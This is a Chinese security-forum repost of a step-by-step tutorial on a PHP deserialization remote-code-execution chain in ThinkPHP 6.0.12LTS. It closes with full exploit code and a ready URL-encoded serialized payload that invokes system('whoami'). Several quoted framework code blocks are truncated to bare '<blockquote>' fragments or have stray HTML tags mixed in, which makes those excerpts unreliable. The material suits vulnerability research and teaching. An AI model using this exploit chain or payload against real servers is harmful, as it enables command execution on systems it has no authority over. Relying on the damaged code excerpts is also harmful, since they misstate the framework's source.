安全矩阵

 找回密码
 立即注册
搜索
查看: 360|回复: 0

ThinkPHP V6.0.12LTS 反序列化漏洞的保姆级教程(含exp编写过程)

[复制链接]

155

主题

174

帖子

1450

积分

金牌会员

Rank: 6Rank: 6

积分
1450
发表于 2022-8-6 16:17:05 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-8-6 16:26 编辑

ThinkPHP V6.0.12LTS 反序列化漏洞的保姆级教程(含exp编写过程)
转载于:Will1am / 2022-08-04 20:50:49 / 浏览数 1030 安全技术 WEB安全


目录结构
这里是看了w0s1np师傅的目录结构,嘻嘻.....
  1. project  应用部署目录
  2. ├─application           应用目录(可设置)
  3. │  ├─common             公共模块目录(可更改)
  4. │  ├─index              模块目录(可更改)
  5. │  │  ├─config.php      模块配置文件
  6. │  │  ├─common.php      模块函数文件
  7. │  │  ├─controller      控制器目录
  8. │  │  ├─model           模型目录
  9. │  │  ├─view            视图目录
  10. │  │  └─ ...            更多类库目录
  11. │  ├─command.php        命令行工具配置文件
  12. │  ├─common.php         应用公共(函数)文件
  13. │  ├─config.php         应用(公共)配置文件
  14. │  ├─database.php       数据库配置文件
  15. │  ├─tags.php           应用行为扩展定义文件
  16. │  └─route.php          路由配置文件
  17. ├─extend                扩展类库目录(可定义)
  18. ├─public                WEB 部署目录(对外访问目录)
  19. │  ├─static             静态资源存放目录(css,js,image)
  20. │  ├─index.php          应用入口文件
  21. │  ├─router.php         快速测试文件
  22. │  └─.htaccess          用于 apache 的重写
  23. ├─runtime               应用的运行时目录(可写,可设置)
  24. ├─vendor                第三方类库目录(Composer)
  25. ├─thinkphp              框架系统目录
  26. │  ├─lang               语言包目录
  27. │  ├─library            框架核心类库目录
  28. │  │  ├─think           Think 类库包目录
  29. │  │  └─traits          系统 Traits 目录
  30. │  ├─tpl                系统模板目录
  31. │  ├─.htaccess          用于 apache 的重写
  32. │  ├─.travis.yml        CI 定义文件
  33. │  ├─base.php           基础定义文件
  34. │  ├─composer.json      composer 定义文件
  35. │  ├─console.php        控制台入口文件
  36. │  ├─convention.php     惯例配置文件
  37. │  ├─helper.php         助手函数文件(可选)
  38. │  ├─LICENSE.txt        授权说明文件
  39. │  ├─phpunit.xml        单元测试配置文件
  40. │  ├─README.md          README 文件
  41. │  └─start.php          框架引导文件
  42. ├─build.php             自动生成定义文件(参考)
  43. ├─composer.json         composer 定义文件
  44. ├─LICENSE.txt           授权说明文件
  45. ├─README.md             README 文件
  46. ├─think                 命令行入口文件
复制代码


利用链分析
众所周知,wakeup()和destruct()这两种魔术方法在反序列化中是十分重要的存在,在面对这么大量的代码时,我们可以以这两种函数为切入点,来找出反序列化漏洞。
  1. __wakeup() //执行unserialize()时,先会调用这个函数
  2. __destruct() //对象被销毁时调用
复制代码

找到切入点之后,用seay全局查询一下那里用到了这两种魔术方法
编辑
然后就是审计代码找可以利用的点了
  1. <?php

  2. namespace League\Flysystem;

  3. final class SafeStorage
  4. {
  5.     /**
  6.      * @var string
  7.      */
  8.     private $hash;

  9.     /**
  10.      * @var array
  11.      */
  12.     protected static $safeStorage = [];

  13.     public function __construct()
  14.     {
  15.         $this->hash = spl_object_hash($this);
  16.         static::$safeStorage[$this->hash] = [];
  17.     }

  18.     public function storeSafely($key, $value)
  19.     {
  20.         static::$safeStorage[$this->hash][$key] = $value;
  21.     }

  22.     public function retrieveSafely($key)
  23.     {
  24.         if (array_key_exists($key, static::$safeStorage[$this->hash])) {
  25.             return static::$safeStorage[$this->hash][$key];
  26.         }
  27.     }

  28.     public function __destruct()
  29.     {
  30.         unset(static::$safeStorage[$this->hash]);
  31.     }
  32. }
复制代码

第一个存在这个方法的是一个安全储存的部分,用于登录啥的,不存在我们要寻找的东西。
再看下一段
  1. /**
  2.      * Disconnect on destruction.
  3.      */
  4.     public function __destruct()
  5.     {
  6.         $this->disconnect();
  7.     }
复制代码

这一块也没啥用,这里的销毁是用于连接断开时销毁,这一块代码主要是关于适配器的,是将某个类的接口转换成客户端期望的另一个接口表示,主要的目的是兼容性 ,让原本因接口不匹配不能一起工作的两个类可以协同工作。
再看下一段
  1. <?php

  2. namespace League\Flysystem\Cached\Storage;

  3. use League\Flysystem\Cached\CacheInterface;
  4. use League\Flysystem\Util;

  5. abstract class AbstractCache implements CacheInterface
  6. {
  7.     /**
  8.      * @var bool
  9.      */
  10.     protected $autosave = true;

  11.     /**
  12.      * @var array
  13.      */
  14.     protected $cache = [];

  15.     /**
  16.      * @var array
  17.      */
  18.     protected $complete = [];

  19.     /**
  20.      * Destructor.
  21.      */
  22.     public function __destruct()
  23.     {
  24.         if (! $this->autosave) {
  25.             $this->save();
  26.         }
  27.     }
复制代码

根据文件名判断应该也是个差不多的玩意,但是只要$this->autosave为false那么就可以调用save方法
  1. /**
  2.      * {@inheritdoc}
  3.      */
  4.     public function autosave()
  5.     {
  6.         if ($this->autosave) {
  7.             $this->save();
  8.         }
  9.     }
复制代码

没啥用继续往下看。
但是继续跟进save方法就没有相关方法了,先放在一边,我们再看下一块。
在vendor\topthink\think-orm\src\Model.php中找到了比较有嫌疑的
  1. /**
  2.      * 析构方法
  3.      * @access public
  4.      */
  5.     public function __destruct()
  6.     {
  7.         if ($this->lazySave) {
  8.             $this->save();
  9.         }
  10.     }
  11. }
复制代码

这里只要让this->lazySave为true就可以成功运行,调用save方法。跟进一下看看save方法是个啥
  1. <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div>public function save(array $data = [], string $sequence = null): bool
  2.     {
  3.         // 数据对象赋值
  4.         $this->setAttrs($data);

  5.         if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
  6.             return false;
  7.         }

  8.         $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

  9.         if (false === $result) {
  10.             return false;
  11.         }
复制代码

其中这一句比较关键
  1. if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {            return false;        }<div align="left"></div>
复制代码

这里只要this->isEmpty()或false === $this->trigger('BeforeWrite')就会返回false
里面一个条件为真才能不直接return,也即需要两个条件:
  1. <div align="left">$this->isEmpty()==false</div><div align="left">$this->trigger('BeforeWrite')==true</div>
复制代码

第一个条件需要继续跟进isEmpty(),我们先放一下,第二个条件是当this触发BeforeWrite的结果是true
再看trigger('BeforeWrite'),位于ModelEvent类中:
  1. protected function trigger(string $event): bool    {        if (!$this->withEvent) {            return true;        }        .....    }<div align="left"></div>
复制代码

让$this->withEvent==false即可满足第二个条件,
我们跟进isEmpty()。
  1. <blockquote>/**
复制代码
可以看到他的作用是判断模型是否为空的,所以只要$this->data不为空就ok
让$this->data!=null即可满足这个条件。
再看这一句
  1. $result = $this->exists ? $this->updateData() : $this->insertData($sequence);<div align="left"></div>
复制代码

这里的意思是如果this->exists结果为true,那么就采用this->updateData(),如果不是就采用this->insertData($sequence)
  1. <blockquote>/**
复制代码
这里可以看到结果是为true的,所以我们跟进updateData()
  1. <blockquote>/**
复制代码
这里的话想要执行checkAllowFields()方法需要绕过前面的两个if判断,必须满足两个条件
  1. <div align="left">$this->trigger('BeforeUpdate')==true</div><div align="left">$data!=null</div>
复制代码

第一个条件上面已经满足了,只要关注让data不等于null就可以了
找找data的来源,跟进getChangedData()方法,在/vendor/topthink/think-orm/src/model/concern/Attribute.php中
  1. <blockquote>/**
复制代码
  1. $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b)
复制代码

这一句如果this->force结果为true,那么便执行this->data,如果不是那么就会执行array_udiff_assoc($this->data, $this->origin, function ($a, $b)

但因为force没定义默认为null,所以进入了第二种情况,由于$this->data, $this->origin默认也不为null,所以不符合第一个if判断,最终$data=0,也即满足前面所提的第二个条件,$data!=null。

然后回到checkAllowFields()方法,查看一下他是如何调用的。
  1. <blockquote>/**
复制代码
这里在第10-15行代码中可以看到,如果想进入宗福拼接操作,就需要进入else中,所以我们要使$this->field = array_keys(array_merge($this->schema, $this->jsonType));不成立,那么就需要让$this->field=null,$this->schema=null。

在第14行中出现了$this->table . $this->suffix这一字符串拼接,存在可控属性的字符拼接,可以触发__toString魔术方法,把$this->table设为触发__toString类即可。所以可以找一个有__tostring方法的类做跳板,寻找__tostring,

在/vendor/topthink/think-orm/src/model/concern/Conversion.php中找到了
  1. <blockquote>/**
复制代码
看来使需要使用toJson(),跟进一下
没找到相关,再看一眼代码,发现第九行中调用了toArray()方法,然后以json格式返回
那我们再看看toArray()方法
  1. <blockquote>public function toArray(): array
复制代码
根据第34行和第44行,第34行是遍历给定的数组语句data数组。每次循环中,当前单元的之被赋给val并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元),同时当前单元的键名也会在每次循环中被赋给变量key。第44行是将val和key相关联起来,漏洞方法是getAtrr触发,只需把$data设为数组就行。

在第47和49行中存在getAttr方法,那触发条件是啥呢?

$this->visible[$key]需要存在,而$key来自$data的键名,$data又来自$this->data,即$this->data必须有一个键名传给$this->visible,然后把键名$key传给getAttr方法,那岂不是默认就能触发...?
跟进getAttr方法,vendor/topthink/think-orm/src/model/concern/Attribute.php
  1. <blockquote>/**
复制代码
在第18行中可以看到漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的。
那就进一步跟进getData方法
  1. <blockquote>/**
复制代码
可以看到$this->data是可控的(第16行),而其中的$fieldName来自getRealFieldName方法。
跟进getRealFieldName方法
  1. /**
  2.      * 获取实际的字段名
  3.      * @access protected
  4.      * @param  string $name 字段名
  5.      * @return string
  6.      */
  7.     protected function getRealFieldName(string $name): string
  8.     {
  9.         if ($this->convertNameToCamel || !$this->strict) {
  10.             return Str::snake($name);
  11.         }

  12.         return $name;
  13.     }
复制代码

当$this->strict为true时直接返回$name,即键名$key
返回getData方法,此时$fieldName=$key,进入if语句,返回$this->data[$key],再回到getAttr方法,
return $this->getValue($name, $value, $relation);
即返回
return $this->getValue($name, $this->data[$key], $relation);
跟进getValue方法
  1. /**
  2.      * 获取经过获取器处理后的数据对象的值
  3.      * @access protected
  4.      * @param  string      $name 字段名称
  5.      * @param  mixed       $value 字段值
  6.      * @param  bool|string $relation 是否为关联属性或者关联名
  7.      * @return mixed
  8.      * @throws InvalidArgumentException
  9.      */
  10.     protected function getValue(string $name, $value, $relation = false)
  11.     {
  12.         // 检测属性获取器
  13.         $fieldName = $this->getRealFieldName($name);

  14.         if (array_key_exists($fieldName, $this->get)) {
  15.             return $this->get[$fieldName];
  16.         }

  17.         $method = 'get' . Str::studly($name) . 'Attr';
  18.         if (isset($this->withAttr[$fieldName])) {
  19.             if ($relation) {
  20.                 $value = $this->getRelationValue($relation);
  21.             }

  22.             if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
  23.                 $value = $this->getJsonValue($fieldName, $value);
  24.             } else {
  25.                 $closure = $this->withAttr[$fieldName];
  26.                 if ($closure instanceof \Closure) {
  27.                     $value = $closure($value, $this->data);
  28.                 }
  29.             }
  30.         } elseif (method_exists($this, $method)) {
  31.             if ($relation) {
  32.                 $value = $this->getRelationValue($relation);
  33.             }
复制代码

第30行中,如果我们让$closure为我们想执行的函数名,$value和$this->data为参数即可实现任意函数执行。
所以需要查看$closure属性是否可控,跟进getRealFieldName方法,
  1. protected function getRealFieldName(string $name): string
  2.     {
  3.         if ($this->convertNameToCamel || !$this->strict) {
  4.             return Str::snake($name);
  5.         }
复制代码

如果让$this->strict==true,即可让$$fieldName等于传入的参数$name,即开始的$this->data[$key]的键值$key,可控
又因为$this->withAttr数组可控,所以,$closure可控·,值为$this->withAttr[$key],参数就是$this->data,即$data的键值,
所以我们需要控制的参数:
  1. $this->data不为空
  2. $this->lazySave == true
  3. $this->withEvent == false
  4. $this->exists == true
  5. $this->force == true
复制代码


EXP编写捋一下
链子太长了,重新捋一下参数的传递过程,要不就懵了,倒着捋慢慢往前分析
先看__toString()的触发
  1. Conversion::__toString()
  2. Conversion::toJson()
  3. Conversion::toArray() //出现 $this->data 参数
  4. Attribute::getAttr()
  5. Attribute::getValue() //出现 $this->json 和 $this->withAttr 参数
  6. Attribute::getJsonValue() // 造成RCE漏洞
复制代码

首先出现参数可控的点在Conversion::toArray()中(第二行),在这里如果控制$this->data=['whoami'=>['whoami']],那么经过foreach遍历(第四行),传入Attribute::getAttr()函数的$key也就是whoami(19行)
  1. <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div>// 合并关联数据
  2.         $data = array_merge($this->data, $this->relation);

  3.         foreach ($data as $key => $val) {
  4.             if ($val instanceof Model || $val instanceof ModelCollection) {
  5.                 // 关联模型对象
  6.                 if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
  7.                     $val->visible($this->visible[$key]);
  8.                 } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
  9.                     $val->hidden($this->hidden[$key]);
  10.                 }
  11.                 // 关联模型对象
  12.                 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
  13.                     $item[$key] = $val->toArray();
  14.                 }
  15.             } elseif (isset($this->visible[$key])) {
  16.                 $item[$key] = $this->getAttr($key);
  17.             } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
  18.                 $item[$key] = $this->getAttr($key);
复制代码

然后在Attribute::getAttr()函数中,通过getData()函数从$this->data中拿到了数组中的value后返回
  1. <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div>public function getAttr(string $name)
  2.     {
  3.         try {
  4.             $relation = false;
  5.             $value    = $this->getData($name);
  6.         } catch (InvalidArgumentException $e) {
  7.             $relation = $this->isRelationAttr($name);
  8.             $value    = null;
  9.         }

  10.         return $this->getValue($name, $value, $relation);
  11.     }
复制代码

getData()返回的是数组中相应的value,所以第5行的$this->getData($name)也就是$this->getData($value=['whoami'])
在Attribute::getValue()函数中对withAttr和json参数进行了验证
  1. <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div>$method = 'get' . Str::studly($name) . 'Attr';
  2.         if (isset($this->withAttr[$fieldName])) {
  3.             if ($relation) {
  4.                 $value = $this->getRelationValue($relation);
  5.             }

  6.             if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
  7.                 $value = $this->getJsonValue($fieldName, $value);
  8.             } else {
复制代码

第2行的if语句中需要$this->withAttr[$fieldName]存在的同时需要是一个数组,$this->withAttr['whoami'=>['system']]
第7行if语句中中是判断$fieldName是否在$this->json中,即in_array($fieldName, $this->json),所以只需要$this->json=['whoami']
接下来分析一下__destruct()的触发过程
  1. Model::__destruct()
  2. Model::save()
  3. Model::updateData()
  4. Model::checkAllowFields()
  5. Model::db() // 触发 __toString()<div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px">首先在Model::__destruct()中$this->lazySave需要为true,参数可控</font></font></font></div>public function __destruct()
  6.     {
  7.         if ($this->lazySave) {
  8.             $this->save();
  9.         }
  10.     }
  11. }
  12. $this->lazySave=true
复制代码

然后在Model::save() 需要绕过isEmpty()和$this->exists参数
  1. <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div>// 数据对象赋值
  2.         $this->setAttrs($data);

  3.         if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
  4.             return false;
  5.         }

  6.         $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

  7.         if (false === $result) {
  8.             return false;
  9.         }
复制代码

第4行的$this->trigger('BeforeWrite')是默认为true的,所以只要$this->data不为空即可
第8行中如果this->exists结果为true,那么就采用this->updateData(),如果不是就采用this->insertData($sequence)所以我们需要让this->exists结果为true
那么最后就是Model::db()方法,保证$this->table能触发__toString()(第八行)
  1. public function db($scope = []): Query
  2.     {
  3.         /** @var Query $query */
  4.         $query = self::$db->connect($this->connection)
  5.             ->name($this->name . $this->suffix)
  6.             ->pk($this->pk);
  7.         if (!empty($this->table)) {
  8.             $query->table($this->table . $this->suffix);
  9.         }
复制代码

编写
首先Model类是一个抽象类,不能实例化,所以要想利用,得找出 Model 类的一个子类进行实例化,而且use了刚才__toString 利用过程中使用的接口Conversion和Attribute,所以关键字可以直接用
将上面捋出来的需要的属性全部重新编写
  1. <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div><?php

  2. // 保证命名空间的一致
  3. namespace think {
  4.     // Model需要是抽象类
  5.     abstract class Model {
  6.         // 需要用到的关键字
  7.         private $lazySave = false;
  8.         private $data = [];
  9.         private $exists = false;
  10.         protected $table;
  11.         private $withAttr = [];
  12.         protected $json = [];
  13.         protected $jsonAssoc = false;

  14.         // 初始化
  15.         public function __construct($obj='') {
  16.             $this->lazySave = true;
  17.             $this->data = ['whoami'=>['whoami']];
  18.             $this->exists = true;
  19.             $this->table = $obj;    // 触发__toString
  20.             $this->withAttr = ['whoami'=>['system']];
  21.             $this->json = ['whoami'];
  22.             $this->jsonAssoc = true;
  23.         }
  24.     }
  25. }
复制代码

全局搜索extends Model,找到一个Pivot类继承了Model
  1. <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div><?php

  2. // 保证命名空间的一致
  3. namespace think {
  4.     // Model需要是抽象类
  5.     abstract class Model {
  6.         // 需要用到的关键字
  7.         private $lazySave = false;
  8.         private $data = [];
  9.         private $exists = false;
  10.         protected $table;
  11.         private $withAttr = [];
  12.         protected $json = [];
  13.         protected $jsonAssoc = false;

  14.         // 初始化
  15.         public function __construct($obj='') {
  16.             $this->lazySave = true;
  17.             $this->data = ['whoami'=>['whoami']];
  18.             $this->exists = true;
  19.             $this->table = $obj;    // 触发__toString
  20.             $this->withAttr = ['whoami'=>['system']];
  21.             $this->json = ['whoami'];
  22.             $this->jsonAssoc = true;
  23.         }
  24.     }
  25. }

  26. namespace think\model {
  27.     use think\Model;
  28.     class Pivot extends Model {

  29.     }

  30.     // 实例化
  31.     $p = new Pivot(new Pivot());
  32.     echo urlencode(serialize($p));
  33. }
复制代码

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2022-10-5 23:30 , Processed in 0.013966 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表